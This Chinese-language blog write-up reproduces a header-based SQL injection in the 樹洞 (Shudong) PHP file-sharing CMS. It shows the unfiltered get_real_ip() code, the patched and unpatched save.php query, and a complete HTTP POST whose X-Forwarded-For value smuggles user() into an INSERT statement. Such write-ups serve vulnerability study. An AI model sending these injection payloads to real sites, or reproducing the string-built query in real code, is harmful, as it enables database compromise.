頭部的資訊也有可能存在注入隻不過比較容易被大家忽略。今天freebuff看到了一篇文章覺得不錯。就自己下來重制了下(https://www.freebuf.com/column/179363.html)。cms的名字叫樹洞https://yun.aoaoao.me.下載下傳下來就會發現漏洞已經修複了。不過這不重要我翻了下github别人fork的找到了原來的修改。
漏洞在includes/function.php 裡的 get_real_ip() 這個函數裡面,這個裡面沒有做任何防注入的過濾
function get_real_ip(){
$ip=false;
if(!empty($_SERVER["HTTP_CLIENT_IP"])){
$ip = $_SERVER["HTTP_CLIENT_IP"];
}
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
for ($i = 0; $i < count($ips); $i++) {
if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) {
$ip = $ips[$i];
break;
}
}
}
在全局搜尋下用到的檔案發現save.php 23行調用了這個函數。原來漏洞在下方30行上下
修改前:
$stmt = $con->prepare("INSERT INTO `$sqlname`.`sd_file` (`ming` ,`key1` ,`uploadip` ,`uploadtime` ,`cishuo` ,`upuser` ,`policyid`)VALUES (?, '$rand', '$ip', '$dd', '0' , '$uploadUser', '$policyId');");
$stmt->bind_param('s', $ming);
修改後:
$stmt = $con->prepare("INSERT INTO `$sqlname`.`sd_file` (`ming` ,`key1` ,`uploadip` ,`uploadtime` ,`cishuo` ,`upuser` ,`policyid`)VALUES (?, '$rand', ?, '$dd', '0' , '$uploadUser', '$policyId');");
$stmt->bind_param('ss', $ming,$ip);
對比發現$ip被綁定了。用原來的進行實驗直接對save.php進行post
POST /includes/save.php HTTP/1.1
Host: shudong.com
User-Agent: Mozilla/5.0 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=xxxxxxx
Connection: close
X-Forwarded-For: 1.1.1.1',user(),'0',1,1); #
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
ming=aa
接着去前面http://xxxx/views/userFiles.php(自己注冊登陸先哦)檢視就會發現日期變成了root或者其他資料庫使用者名。
隻要在修改user()就可以達到不同的注入目的。